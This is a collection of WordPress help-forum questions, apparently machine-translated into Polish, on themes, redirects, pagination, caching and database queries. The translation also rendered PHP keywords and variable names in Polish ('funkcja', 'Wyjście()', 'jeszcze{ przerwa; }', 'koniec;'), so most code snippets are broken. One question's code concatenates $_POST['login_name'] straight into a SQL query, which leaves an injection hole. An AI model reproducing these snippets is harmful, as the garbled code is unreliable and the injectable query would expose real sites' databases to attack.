title: Trzymając 2 wp_user w tej samej akcji (aby zaktualizować billing_email, gdy użytkownik_email jest aktualizowany)

text: próbuję zaktualizować billing_email woocommerce, gdy użytkownik_email jest aktualizowany, problem polega na tym, jak przechowywać dwa obiekty z wp_user w ramach tej samej akcji, w tym kodzie add_action('profile_update', 'sync_woocommerce_email', 10, 2) ; funkcja sync_woocommerce_email( $user_id, $old_user_data) { $current_user = wp_get_current_user(); echo $bieżący_użytkownik->użytkownik_e-mail; echo $old_user_data->user_email." "; if ($current_user->user_email != $old_user_data->user_email) { wp_update_user( array ( 'ID' => $current_user->ID, 'billing_email' => $current_user->user_email) ) ); } } kiedy robię to dwa echo, dwa razy znalazłem ten sam e-mail, ale kiedy usunę $current_user = wp_get_current_user(); > $old_user_data echo starego e-maila, co oznacza, że obiekt current_user zastępuje obiekt $old_user_data, jak rozwiązać ten problem?


title: Alternatywa dla niestandardowego szablonu typu post

text: Udało mi się teraz wymyślić, jak używać szablonów Custom Post Type i są świetne. Chciałbym jednak wiedzieć, czy nie ma sposobu na wykorzystanie aktualnego szablonu, który opracowałem dla innych stron. To, co mam, to plik page-three-column.php, który używa warunkowych kontroli, aby zobaczyć, na której stronie się znajduje, a następnie wyświetla odpowiednią zawartość zgodnie z potrzebami. Zamiast kopiować ten html do szablonu single-product.php, chcę móc ponownie użyć page-three-column.php, ponieważ ma już całą strukturę i nie będę musiał duplikować html i porównywać go . Czy istnieje sposób, aby „zmusić” wordpress do korzystania z określonego szablonu zamiast szablonu niestandardowego typu posta? Przeczytałem Kodeks, aby sprawdzić, czy istnieje sprawdzanie warunkowe, którego można użyć i pomyślałem, że is_single( 'product' ) może działać. Oczywiście niestandardowy szablon typu postu został zbudowany w celu wyświetlania treści zgodnie z przeznaczeniem, ale jeśli istnieje inny sposób, byłbym wdzięczny za pomoc? Wielkie dzięki.


title: Usuwanie stron najwyższego poziomu z adresu URL

text: Strony (nie posty) w mojej witrynie mają strukturę hierarchiczną, w której strony najwyższego poziomu nie zawierają treści i służą tylko do grupowania stron niższego poziomu w _kategoriach_. W ten sposób strona _us_ nie ma treści, ale strony _po jednej_, _historia_ i _biura_ są do niej przypisane, więc mogę je obsługiwać jako grupę. W porządku i działa zgodnie z przeznaczeniem, ale teraz chcę usunąć strony najwyższego poziomu z adresu URL i nie mogę znaleźć sposobu. Zmiana byłaby następująca: http://www.example.com/strona-najwyższego-poziomu/strona-niższego-poziomu na http://www.example.com/strona-niższego-poziomu Czy można to zrobić bez gubisz ustanowioną przeze mnie strukturę hierarchiczną?


title: Chcę wybrać z wartości z bazy danych w WordPressie?

text: Oto mój kod: $sql = 'SELECT * FROM' . $wpdb->przedrostek_podstawy . 'item WHERE uname = "'. $_POST['login_name'] . '" '; $result = $wpdb->get_results($sql) lub die(mysql_error()); foreach($wynik jako $wynik) { $wyniki->sól; $wyniki->hasło; } echo $sal->$results[0]; echo $pwd->$wyniki[1];


title: Jak sprawić, by kategorie potomne rozpoznawały wyświetlanie szablonów rodzica

text: Używam domyślnego typu postu `post` do różnych celów. Do ich sortowania używam różnych kategorii. Projektuję inny układ kategorii, używając preferencji slug, takich jak: `category-book.php`, `category-notice.php` itp. i wszystko było w porządku. Ale przed chwilą stwierdziłem, że każda podkategoria nadrzędnej kategorii 'book' przekierowuje do `index.php` (lub `archive.php` lub `category.php`), ponieważ nie rozpoznaje szablonu kategorii swojego rodzica ( `category-book.php`), ponieważ ich ślimak jest inny. Jak sprawić, by kategorie podrzędne rozpoznawały projekt szablonu rodzica? Czy muszę do tego stworzyć niestandardowy szablon za pomocą `WP_Query()`?


title: Wordpress nie może przesłać wtyczki

text: Nie mogę wgrać wtyczki przez administratora lub cpanel. Staram się pracować w localhost. Otrzymuję następujący błąd > Rozpakowywanie pakietu… > > Nie można skopiować pliku. formularz-kontaktowy-7/settings.php


title: przekierować wp-login.php na inną stronę

text: Chciałbym przekierować tę stronę `wp-login.php` na stronę `/login`. Więc kiedy użytkownik kliknie na link taki jak ten `<a href="/wp-login.php">logowanie</a>`, wordpress przekieruje go do `/register` . Znalazłem tę funkcję i zmodyfikowałem ją: add_action('init','custom_login'); funkcja custom_login(){ global $pagenow; if (( 'wp-login.php' == $pagenow ) && (!is_user_logged_in())) { wp_redirect('/login'); Wyjście(); } Nie jestem dobry w kodowaniu wordpress. Przekierowanie działa dobrze, ale uwierzytelnianie wydaje się być zepsute. Kiedy wprowadzam mój login/hasło, ta sama strona (`/login`) jest ponownie ładowana bez uwierzytelnienia. Wszelkie sugestie, aby naprawić funkcję przekierowania?


title: Cofanie define( 'PRZESYŁANIE', ''.'pliki' ); wskazać folder „wp-content/uploads”

text: Czy to możliwe, że ustawiając „wp-content/uploads” tak, aby używał innego folderu za pomocą `define( 'UPLOADS', ''.'files' );` skutecznie zmieniłem wszystkie ścieżki na stałe i jeśli w takim przypadku, jak to cofnąć, aby wskazywał z powrotem na „wp-content/uploads”? Pomyślałem, że wystarczy zakomentować wiersz `define( 'UPLOADS', ''.'files' );` rozwiążę problem, który mam, gdzie plik, który przesyłam do WP, nie chce się pobrać, ponieważ URL nie jest właściwą ścieżką do pliku.


title: pomoc w zastosowaniu paginacji pobieranie danych z bazy danych

text: Postępuję zgodnie z samouczkiem tutaj http://wpengineer.com/2426/ na temat stosowania paginacji w wordpressie. Teraz powiedział: „Jak wskazano w komentarzu, array_slice jest konieczne tylko dlatego, że używamy przykładowych danych. Jeśli pobierasz dane z bazy danych, musisz tylko załadować niezbędne dane za pomocą SQL's LIMIT”. Oto funkcja funkcji „prepare_items()” Prepare_items() { global $wpdb; // Próbowałem użyć tutaj LIMIT, ale wygląda na to, że robię to źle $row = $wpdb->get_results("SELECT nazwa_firmy, nazwa_kontaktu, telefon komórkowy, e-mail FROM wp_registration", ARRAY_A); // Podział na strony $per_page = 5; $bieżąca_strona = $this->get_pagenum(); $total_items = liczba($wiersz); // Tylko konieczne $this->found_data = array_slice($row, (($current_page - 1) * $per_page), $per_page); $this->set_pagination_args( array( 'total_items' => $total_items, 'per_page' => $per_page) ); $this->items = $this->found_data; $kolumny = $to->pobierz_kolumny(); $ukryte = tablica(); $sortowalne = $this->get_sortable_columns(); $this->_column_headers = array($kolumny, $ukryte, $sortowalne); usort( $wiersz, array( &$this, 'usort_reorder') ); $to->elementy = $wiersz; } Mój problem polega na tym, gdzie powinienem umieścić LIMIT w funkcji? Wstawiam go bezpośrednio do zapytania, ale pokazuje tylko wiersze, jeśli określę LIMIT. Czy możesz mi pomóc i wskazać, gdzie popełniłem błąd? Każda pomoc byłaby bardzo mile widziana. Dziękuję!


title: Otrzymuj losowe posty z mieszanej kategorii

text: Mam 3 kategorie: A, B, C. A ma ok. 1000 postów, B ma ok. 300, a C ma 50 postów. Kiedy pytam o 5 postów, zamawiam losowo. Dostaję głównie posty z kategorii A. Jak uzyskać losowe posty o mieszanej kategorii, takie jak 3 od A, 1 od B i 1 od C?


title: wykonaj kod, jeśli bieżący adres URL = wartość

text: Instalacja Eksperymentów z treścią stron Google nie działa dla mnie. Dodaję kod w nagłówku, ale nic nie jest wyprowadzane. Dlatego ręcznie dodałem kod eksperymentu Google Analytics do nagłówka. Jedynym problemem jest to, że motyw jest udostępniany między witrynami sieciowymi. Więc chcę tylko wstawić kod do nagłówka pod warunkiem, że bieżący adres URL = {wartość}. Wiem, że mogę używać tagów warunkowych, ale jeśli użyję is_page, może to spowodować przypadkowe uruchomienie w innej witrynie sieciowej. Jak mam to zrobic?


title: Ukryj permalink i przycisk podglądu oraz link w niestandardowym poście

text: ktoś wie, jak utworzyć niestandardowe pudełko zawierające przycisk „Opublikuj, zapisz wersję roboczą i przycisk podglądu”? ukryję wszystkie przyciski oprócz przycisku Opublikuj. i tak samo jak "`zmień permalink`" również link "`wyświetl, usuń, edytuj" w poście jak ukryć permalink i wyświetlić link ? tutaj ilustracja o czym mówię. > Dostosowywanie przycisku publikowania z oryginalnego Wordpressa ![tu wpisz opis obrazu](http://i.stack.imgur.com/ynXmz.jpg) ![tu wpisz opis obrazu](http://i.stack.imgur.com /qAuwQ.jpg) > Dostosowywanie linku do posta z oryginalnego wordpressa ![tu wpisz opis obrazu](http://i.stack.imgur.com/FHs8G.jpg) ![tu wpisz opis obrazu](http://i. stack.imgur.com/LegKb.jpg) > usuń permalink pod tytułem posta Wordpress ! [tu wpisz opis obrazu](http://i.stack.imgur.com/T2fqi.jpg)


title: Prawidłowo wyświetlaj posty na stronie głównej

text:
Mam problem z wyświetlaniem postów z jednej kategorii na stronie głównej tak, jak chcę, aby były wyświetlane. Motyw, którego używam, używa układu 3-kolumnowego dla strony głównej i układu paska bocznego zawartości dla strony bloga. Zasadniczo chcę, aby strona główna wyświetlała się dokładnie tak, jak strona bloga, ale zawierała suwak. Więc po prostu skopiowałem kod z `category.php` i wkleiłem go do nowego niestandardowego szablonu strony zatytułowanego `hompage.php` i ustawiłem go jako moją stronę domową. Ale z jakiegoś powodu nie wyświetla żadnych postów i nie mam pojęcia dlaczego. category.php <?php /** * Szablon do wyświetlania stron kategorii. * */ $settings = get_option( "ntl_theme_settings" ); pobierz_nagłówek(); ?>

 <?php if ($settings['ntl_disable_audio'] != 'off'){ ?>

<?php single_cat_title(); ?>

 <?php echolets_get_albumselector(); ?> <?php echolets_get_musicplayer(); ?>
 <?php } else { ?>

<?php single_cat_title(); ?>

 <?php } ?> <?php if (!$settings['ntl_show_timer']) { ?>
 <?php echo get_for_timer (''); ?> <?php } else { ?>
 <?php } ?>
 <?php if ($settings['ntl_disable_audio'] != 'off '){ ?>

 <?php } ?>

 <?php get_template_part( 'pętla', 'kategoria' ); ?> <?php adminace_paging(); ?>

 <?php get_sidebar(); ?>

 <?php lets_make_carousel(); ?> <?php get_footer(); ?> loop.php <?php /** * Pętla wyświetlająca posty. * */ ?> <?php /* Jeśli nie ma postów do wyświetlenia */ ?> <?php if ( ! have_posts() ) : ?>

<?php _e( 'Nie znaleziono', 'Zlokalizuj' ); ?>

<?php _e( 'Przepraszamy, ale nie znaleziono żadnych wyników dla żądanego archiwum. Być może wyszukiwanie pomoże znaleźć powiązany post.', 'zlokalizuj ' ); ?>
 <?php get_search_form(); ?>

 <?php endif; ?> <?php /* Uruchom pętlę. * * * Bez dalszych ceregieli, pętla: */ ?> <?php while ( have_posts() ) : the_post(); ?> <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <?php if ( !is_search() ) { ?>
<?php the_title(); ?>

 <?php ntl_posted_on(); ?><a href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' )); ?>"><?php echo get_the_author(); ?>
 <?php $pphoto = ''; $pphoto = get_the_post_thumbnail($post->ID, 'imlink'); if ($pphoto) { ?>
 <?php the_excerpt(); ?>

 <?php the_post_thumbnail('imlink'); ?> <a href="<?php the_permalink(); ?>">

 <?php the_time('j') ?> <?php the_time('M') ?>

 <?php } else { ?> <?php the_fragment( ); ?> <?php } ?> <?php } else { ?>

<?php the_title(); ?>
 <?php the_fragment(); ?> <a href="<?php the_permalink(); ?>">Czytaj więcej
 <?php } ?>
 <?php comments_template( '', prawda ); ?> <?php koniec; ?> Wszelkie sugestie będą mile widziane!


title: jak usunąć skrypty załadowane w stopce

text: Czy można usunąć skrypty wczytane w stopce w wordpressie? Obecnie mam kod, który działa dla skryptów, ale tylko dla tych, które są dodawane w nagłówku przez `wp_enqueue_script`. To, co robi, to użycie `preg_replace` do dopasowania wszystkich wykluczonych skryptów, a następnie zastąpienie ich pustym ciągiem. add_action('wp_head', array($this, 'plug_remove_scripts_start'), 0); add_action('wp_footer', array($this, 'plug_remove_scripts_end'), 0); public function plug_remove_scripts_start(){ function remove_scripts($buffer){ /* skrypt do zmiany bufora w celu usunięcia skryptów */ return $buffer; } ob_start("usuń_skrypty"); } funkcja publiczna plug_remove_scripts_end(){ ob_end_flush(); } Próbowałem już zmienić haczyk akcji `wp_footer` na następujący, ale to nie działa: * początek pętli * plugins_loaded * zamknięcie Skrypt, na który próbuję ustawić cel, znajduje się tuż pod zamykającym znacznikiem `</footer>` . Rozważałem już użycie `wp_dequeue_script` w ramach akcji `wp_footer`. To też by zadziałało, ale muszę wspierać tych, którzy nie dodają poprawnie skryptów i stylów i po prostu wklejają coś takiego: <script src="http://somesite.com/wp-content/js/somescript.js"> </script> Jakieś pomysły? Jeśli znasz jakąkolwiek wtyczkę, która już wykonuje tę pracę (usuwa skrypty załadowane z motywu, wtyczki lub widżetu), również byłoby świetnie. Z góry dziękuję!


title: Nadmiar białej przestrzeni nad paskiem administratora na interfejsie za pomocą Twitter Bootstrap

text: **Problem (nadmiar białego miejsca nad paskiem administratora w interfejsie za pomocą Twitter Bootstrap):** Podczas logowania i przeglądania interfejsu -- Jeśli zmniejszysz rozmiar przeglądarki, nad paskiem administratora pojawi się nadmiar odstępu . Zauważyłem, że jest w porządku na pełnym ekranie, a nawet w rozmiarze ~tablet. Jednak, gdy masz się skurczyć do czegoś mniejszego niż około 600px, wtedy nad paskiem administracyjnym pojawi się biała spacja. Przetestowałem na moim telefonie, a biała przestrzeń też jest na moim telefonie. **Pytanie:** Czy jest to konflikt z WordPressem, czy muszę coś zrobić z konfiguracją Twitter Bootstrap? * * * Wszelkie porady dotyczące usuwania nadmiaru białego miejsca nad paskiem administratora podczas przeglądania interfejsu użytkownika (przy użyciu Twitter Bootstrap -- Responsive) na urządzeniu mobilnym byłyby bardzo mile widziane.


title: Efekty przekierowania z WWW na inne niż WWW na szybkość ładowania

text: Używałem pingdom do testowania prędkości ładowania w witrynie, nad którą pracuję i uzyskałem różne wyniki dla www i bez www. Wordpress automatycznie przekierowuje na www lub bez www w zależności od ustawień. W przypadku witryny, o której mowa, została ustawiona na używanie bez www, a po przetestowaniu w pingdom wróciła z wynikiem 1 sekundy. Niedługo potem ponownie przetestowałem witrynę z pingdomem teraz z www i wróciła po 3 sekundach. Skontaktowałem się z moim hostem (hostgatorem), ponieważ myślałem, że może to być dziwny problem z DNS i szczerze mówiąc, nie mam pojęcia o kwestiach związanych z DNS. Powiedzieli mi, że przekierowanie ma miejsce, gdy wordpress już się ładuje, więc kiedy wchodzę na www, ładuje wordpress, a następnie przekierowuje, więc prawie musi załadować witrynę dwukrotnie. Zasugerowali, abym użył standardowego przekierowania htaccess na górze pliku htacess. Po wykonaniu tej czynności ponownie przetestowałem witrynę z obiema wersjami i wydaje się, że obie ładują się po około 1 sekundzie. Teraz w końcu po tym wszystkim moje pytanie brzmi: dlaczego tak się dzieje? W którym momencie uruchamia się domyślne przekierowanie wordpress. Czy powinienem domyślnie dodać przekierowanie na górę pliku htaccess dla wszystkich witryn? Zasadniczo po prostu chcę dowiedzieć się więcej o tym, jak wordpress radzi sobie z przekierowaniami, gdyby ktoś mógł połączyć mnie ze stroną kodeksu na ten temat lub artykułem na blogu, który byłby niesamowity.


title: Jak mogę uzyskać W3 Total Cache, aby rozpoznawał Amazon ElastiCache?

text: Co zrobiłem (na mojej instancji EC2): a) Postępowałem zgodnie z instrukcjami Amazona, aby zainstalować ich specjalne rozszerzenie PHP Memcached dla ElastiCache. b) Potwierdzono, że został zainstalowany i ponownie uruchomiony apache $ php -i | grep memcached /etc/php5/cli/conf.d/memcached.ini, memcached memcached support => włączona wersja libmemcached => 1.0.4 memcached.compression_factor => 1.3 => 1.3 memcached.compression_threshold => 2000 => 2000 memcached. compress_type => fastlz => fastlz memcached.serializer => php => php memcached.sess_binary => 0 => 0 memcached.sess_consistent_hash => 0 => 0 memcached.sess_lock_wait => 150000 => 150000 memcached.sess_locking => 1 > 1 memcached.sess_number_of_replicas => 0 => 0 memcached.sess_prefix => memc.sess.key. => klucz.memc.sess. memcached.sess_randomize_replica_read => 0 => 0 Zarejestrowane programy obsługi zapisu => pliki użytkownik memcached c) Potwierdzono, że mogę wysyłać i pobierać obiekty za pomocą tego skryptu (mogłem). d) Zaktualizowano `wp-content/w3tc-config/master.php` z pełnym adresem i portem mojej instancji ElastiCache tam, gdzie wskazywał na `127.0.0.1:11211`. e) Próbowałem i nie udało mi się dowiedzieć, dlaczego nadal nie mogę wybrać Memcached z menu rozwijanego w3tc.


title: Przepisanie adresu URL nie powoduje automatycznego zalogowania

text: Zainstalowałem bloga pod adresem `www.mysite.com/blog` Chcę przepisać adres URL, aby usunąć część `blog`, aby można było uzyskać do niego dostęp pod adresem `www.mysite.com` Dodałem regułę przepisywania w pliku `.htaccess`, ale zauważyłem, że kiedy przechodzę do przepisanego adresu URL, nie jestem zalogowany na swoje konto; Aby się zalogować, musiałbym przejść przez oryginalny `/blog`. Na czym polega problem i jak mogę go rozwiązać?


title: Jaki jest najlepszy sposób na podpięcie funkcji przepisywania dla określonego kodu php podczas aktualizacji wtyczek?

text: Często dokonuję wielu dostosowań wtyczek, które instaluję z repozytorium WP. Zazwyczaj powodem, dla którego przeprowadzam te zmiany, jest naprawianie, przepisywanie lub usuwanie niektórych funkcji, które może wykonywać wtyczka, takich jak: * wtyczka automatycznie wstawia nowe menu/podmenu w niepożądanej lokalizacji, w której wolę ustandaryzować zgodnie z moją organizacją. * Chcę po prostu usunąć, edytować lub zastąpić tekst lub funkcje, takie jak linki/strony pomocy, zbędne przyciski darowizn lub irytujące okna dialogowe promocji aktualizacji. W efekcie edycje, które wykonuję, są całkowicie unikalne dla każdej wtyczki i/lub jej plików. Problemem, na który ciągle się natykam, jest bycie na bieżąco z najnowszą wersją przy ręcznym aktualizowaniu kodu dla każdej wtyczki. Uważam, że typowym sposobem, w jaki użytkownicy radzą sobie z tym problemem, jest napisanie funkcji, która ma pierwszeństwo przed funkcją wtyczek (prawda?). Rozumiem, że to podejście działa dobrze, gdy wtyczka/funkcja, którą chcę edytować, jest prosta, ale niektóre z tych wtyczek są bardzo złożone i wydaje się, że nie jest to najlepsze podejście. To, na co naprawdę mam nadzieję, to czysta metoda, aby móc automatycznie wykonać typ wyrażenia regularnego „znajdź i zamień” w nowym kodzie źródłowym/plikach wtyczek przed aktualizacją wtyczki. Rozumiem, że ta metoda nie jest w żaden sposób kuloodporna, a wtyczki/kod zawsze się zmieniają, jednak niektóre funkcje, takie jak ta, byłyby bardzo pomocne... jakieś sugestie?


title: Wyklucz przyklejone posty z zapytania

text: Użyłem `orderby=date` i `orderby=comment_count` do pokazania mojego ostatniego i popularnego posta, ale przyklejony post jest zawsze na górze. Jak wykluczyć przyklejone posty?


title: Pętla 3-kolumnowa z paginacją

text:
Próbowałem uruchomić pętlę i podzielić post na 3 kolumny, a następnie dodałem paginację za pomocą wtyczki Wordpress Wp PageNavi. To działało dobrze z miejsca, w którym skopiowałem ten kod, ale wydaje się, że nie działa dla mnie. czy ktoś może dowiedzieć się, za czym tęsknię, co powoduje problem?
 <?php $data = query_posts( array( 'posts_per_page' => 7, 'paged' => get_query_var('paged') ) ); ?> <?php for($i=0; i<=1; $i++): ?> <?php if(!empty($data[$i])){ ?>

<a href="<?php the_permalink(); ?>"><?php echo get_the_post_thumbnail($data[$i]->ID); ?>

<?php echo $data[$i]->post_excerpt; ?>

 <?php if($i == 1)break; }jeszcze{ przerwa; } endfor; ?>

 <?php for($i=2; i<=3; $i++): ?> <?php if(!empty($data[$i]) ){ ?>

<a href="<?php the_permalink(); ?>"><?php echo get_the_post_thumbnail( $dane[$i]->ID); ?>

<?php echo $data[$i]->post_excerpt; ?>

 <?php if($i == 3)break; }else{break;} endfor; ?>

 <?php for($i=4; i<=6; $i++): ?> <?php if(!empty($data[$i]) ){ ?>

<a href="<?php the_permalink(); ?>"><?php echo get_the_post_thumbnail( $dane[$i]->ID); ?>

<?php echo $data[$i]->post_excerpt; ?>

 <?php if($i == 6)break; }else{break;} endfor; ?>
 <?php wp_pagenavi(); ?>


title: Dlaczego otrzymuję ten komunikat o błędzie, gdy próbuję kliknąć nazwisko autora postu w moim motywie?

text:
Jestem całkiem nowy w tworzeniu motywów WordPress i doświadczam dziwnego zachowania w tym niestandardowym motywie, który rozwijam: http://onofri.org/WP_BootStrap/ Jak widać na blogu są pokazane 2 posty i na początku każdy post ma wydrukowane **nazwisko autora** (w tym przypadku **admin** ). Teraz, jeśli drukujesz na **nazwisku autora** (na łączu "Przez **admin**"), możesz zobaczyć wszystkie posty napisane przez użytkownika **admin**, ok, to prawidłowe zachowanie Problem jest to, że jeśli spróbuję wykonać tę samą operację na mojej lokalnej wersji witryny (motyw jest dokładnie taki sam) otrzymuję następujący komunikat o błędzie: > uwaga: zmienna niezdefiniowana: authordata w /var/www/wordpress/wp- > content/themes/AsperTheme/content.php w wierszu 32 >> Uwaga: Próba pobrania właściwości non-object w /var/www/wordpress/wp- > content/themes/AsperTheme/content.php w wierszu 32 >> Uwaga : Niezdefiniowana zmienna: authordata w /var/www/wordpress/wp- > content/themes/AsperTheme/content.php w wierszu 32 > > Uwaga: Próba pobrania właściwości non-object w /var/www/wordpress/wp- > content/themes/AsperTheme/content.php w linii 32 > > Uwaga: get_author_link jest **przestarzałe** od wersji 2.1! Zamiast tego użyj > get_author_posts_url%28%29. w /var/www/wordpress/wp- > include/functions.php w wierszu 2908 To jest kod mojego pliku **content.php**: /** * Domyślny szablon do wyświetlania treści * * Używany zarówno dla pojedynczych oraz indeks/archiwum/wyszukiwanie. * * @package WordPress * @subpackage AsperTheme * @since AsperTheme 1.0 */ ?>  <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
 <a href="<?php the_permalink(); ?>" title="<?php printf(__('Permalink do %s', 'twój -motyw'), atrybut_tytułu('echo=0')); ?>" rel="zakładka"><?php tytuł_(); ?>

 <?php _e('We', 'Twój-motyw') ; ?>  <a class="url fn n" href="<?php echo get_author_link(false, $authordata -> ID, $authordata -> user_nicename); ?> " title="<?php printf(__('Wyświetl wszystkie posty użytkownika %s', 'Twój-motyw'), $authordata -> display_name); ?>"><?php the_author(); ?>    |  <?php _e('Opublikowane', 'Twój-motyw'); ?>  <abbr class="opublikowane" title="<?php the_time('Y-m-d\TH:i:sO') ?>"><?php the_time( get_option('data_format')); ?>  <?php edit_post_link( __( 'Edytuj', 'twój-motyw' ), "|\n\t \t\t\t\t\t", "\n\t\t\t\t\t" ) ?>
 < !-- .entry-meta -->
 <?php the_content(__('Kontynuuj czytanie »' , 'twój-motyw')); ?> <?php wp_link_pages('before=
' . __( 'Strony:', 'Twój-motyw') . '&after=
') ?>

  <?php _e('Opublikowano w', 'twój-motyw'); ?> <?php echo get_the_category_list(', '); ?>   |  <?php the_tags( '' . __('Tagged ', ' your-theme' ). '', ", ", "\n\t\t\t\t\t\t|\n" ) ?> <?php comments_popup_link( __( 'Zostaw komentarz', 'Twój-motyw' ), __( '1 Komentarz', 'Twój-motyw ' ), __( '% komentarzy', 'twój-motyw' ) ) ?> <?php edit_post_link( __( 'Edytuj', 'twój-motyw' ), "|\n\t\t\t\t\t\t", "\n\t\t\t \t\t\n" ) ?>

  Dlaczego? jaki może być problem?


title: Jak mogę sprawdzić nową odpowiedź na komentarz w czasie rzeczywistym i uzyskać tekst odpowiedzi dla systemu powiadomień w wordpressie?

text: Chciałbym, że gdy otrzymasz odpowiedź na swój komentarz, po prawej stronie pojawi się małe pudełko z tekstem odpowiedzi. Powiadamiający musi działać w czasie rzeczywistym i musi uzyskać zdjęcie profilowe użytkownika, jeśli je posiada (zdjęcie profilowe pochodzi z gravatar.com). Jeśli użytkownik nie ma zdjęcia profilowego, skrypt otrzyma domyślne zdjęcie „tajemniczego człowieka”. Pytanie brzmi, jak mogę to rozwiązać? Szukałem google, ale zawsze otrzymuję "link do odpowiedzi na komentarz", co mi nie pomaga. Moja strona jest taka.


title: Pobierz Wordpress aktualną datę/godzinę

text:
W mojej wtyczce próbuję pobrać aktualną datę/godzinę bloga do kodu, ale wydaje się, że zwraca nieparzystą datę/godzinę. Jeśli umieszczę nowy post na blogu, pokazuje on poprawną datę/godzinę, więc nie jestem pewien, na czym polega problem. Czy niewłaściwie postępuję z kodem? (Czas wysłania: Opublikowany: 13 lutego 2012 o 22:45) ## Kod PHP <? $t_time = get_the_time( __( 'R/m/d g:i:s A' ) ); echo "
CZAS BLOGU
"; echo $t_time . "
"; echo "
"; echo "
CZAS SERWERA
"; data echa("R/m/d g:i:s A"); ?> WYJŚCIE CZAS BLOGU 2011/05/20 22:28:16 CZAS SERWERA 2012/02/14 17:41:35


title: pola niestandardowe wiele pól obrazu

text: Tworzę archiwum artysty z WP, aby przechowywać różne wpisy (niestandardowe typy postów, takie jak „zdjęcia”, „dzieła sztuki”, „publikacje” itp.). ze względu na dużą ilość danych wrzucam obrazy ręcznie na ich prawidłowe ścieżki i przesyłam dane za pomocą importera CSV. ogólnie dla każdego wpisu jest tylko jeden wyróżniony obraz i jest to dość jasne i proste. ale jeśli chodzi o publikacje, to trochę utknąłem, bo klient chciałby pokazać fragmenty tych książek, a czasem nawet całą książkę (jeśli jest to np. krótka książeczka). idealnie myślałem o dodaniu powtarzalnego pola do przesyłania obrazu, ale nie jestem pewien, czy jest to najlepsze podejście. innym pomysłem było stworzenie wyboru posta, który zawierałby identyfikator posta „następnej strony”. Staram się unikać tworzenia plików PDF (ponieważ byłoby ponad 1000 plików PDF po 3-5 stron), ale może to byłaby inna strategia - mieć jeden wpis dla każdej książki i plik PDF z fragmentami stron. Wadą pdf jest to, że nie jest to tak elastyczne podejście, może mogłoby działać dobrze w przypadku książki, ale są też dzieła sztuki, które mają alternatywne widoki itp., więc pdf byłby niewygodnym rozwiązaniem w najlepszym wydaniu. jakoś myślę, że dobrze byłoby mieć wszystkie te informacje razem w tym samym poście, ale może są lepsze sposoby na zrobienie tego. największym ograniczeniem jest znalezienie sposobu, który działałby dobrze z podejściem CSV, a nie czegoś, co musiałoby być wprowadzane ręcznie. czy ktoś próbował używać pól powtarzalnych i wgrywać CSV? jak by to w ogóle działało? czy ktoś z was musiał zrobić coś takiego? jakieś pomysły? Dziękuję!!


title: Wtyczka JQuery, która działa z Google 1.10.2, a nie z Wordpress 1.10.2

text: Robię niestandardową implementację JQuery Colorbox we wtyczce Wordpress. Jednak nie działa z moją domyślną instalacją Wordpress. Po drobnym majstrowaniu sprowadza się do włączenia biblioteki JQuery. Żadna z tych linii nie działa: `<script src='http://xpisobsolete.com/wp-inclusive/js/jquery/jquery.js?ver=1.10.2'></script>` `<script src= //ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>` Ale jedno z nich działa: `<script src="http://ajax.googleapis .com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>` `<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.10.2 /jquery.min.js"></script>` Przetestowałem, że JQuery współpracuje ze wszystkimi powyższymi za pomocą: if (typeof jQuery != 'undefined') { alert("Załadowano bibliotekę jQuery!"); }else{ alert("nie znaleziono biblioteki jQuery!"); } Przekazuje wszystkie cztery linki skryptu, które wypróbowałem. Jeśli zmienię tę jedną linijkę na stronie demo Jacka, również się zepsuje. Czy to problem z kolorami? http://www.jacklmoore.com/colorbox/example1/ Czy możecie mi pomóc zobaczyć, czego tu brakuje? Jestem zakłopotany.


title: dlaczego używać query_posts() na niestandardowej stronie?

text: Cześć, jestem nowy w wordpressie i chcę wiedzieć o funkcji `query_posts()`. Jeśli istnieje strona indeksowa lub strona domowa, nie ma potrzeby wyświetlania postu przy użyciu tej funkcji, ale jeśli stworzyłem własną stronę, ta funkcja musi zostać użyta do wyświetlenia. Czemu?


title: Wybierz losowo jeden z ostatnich 3 postów

text: ok, więc mam to: $args=array( 'orderby' => 'rand', 'order' => 'DESC', 'posts_per_page' => 1, 'offset' => $offset, ); $q = nowe WP_Query($args); if ($q->have_posts()) {} to czego szukam to losowe pokazanie jednego z 3 ostatnich postów: SELECT * FROM (SELECT * FROM `wp_posts` WHERE `post_type` = 'post' ORDER BY post_date DESC LIMIT 3) JAKO kuszący ZAMÓWIENIE WEDŁUG RAND() LIMIT 1


title: Połącz użytkowników i taksonomie

text: Chcę wysyłać powiadomienia e-mail o zapisaniu nowych postów. Ale użytkownicy mogą wybrać kategorie postów, które chcą subskrybować. Dostępne wtyczki nie są dla mnie rozwiązaniem – naprawdę potrzebuję własnej bazy kodu. Chociaż jestem całkiem nowy w WP, nie ma z tym problemu… ale nie wiem, jak połączyć niestandardowe taksonomie z użytkownikami. Czy można wyświetlić wszystkie kategorie na stronie profilu użytkownika (pola wyboru) i zapisać motyw w tabeli usermeta? A może lepiej jest umieścić wszystkie subskrypcje w nowej tabeli i użyć trzeciej tabeli przestawnej do połączenia taksonomii i użytkowników? Lub inne rozwiązanie? Wszelkie pomysły są mile widziane :-) Wielkie dzięki!


title: Wyświetl DISQUS na stronie głównej

text: Zainstalowałem disqus i chcę, aby pojawił się na mojej stronie głównej. Zastąpił stary system komentarzy wordpress na stronach i postach, ale chcę, aby pojawił się również w index.php mój plik index.php teraz -> http://i.imgur.com/TxaroMC.png Dodałem <`?php comments_template (); ?>` ale nic się nie stało. Co powinienem zrobić ? Chcę umieścić go na dole mojej strony internetowej Dzięki


title: Usuń zhakowany kod - brak pomysłów!

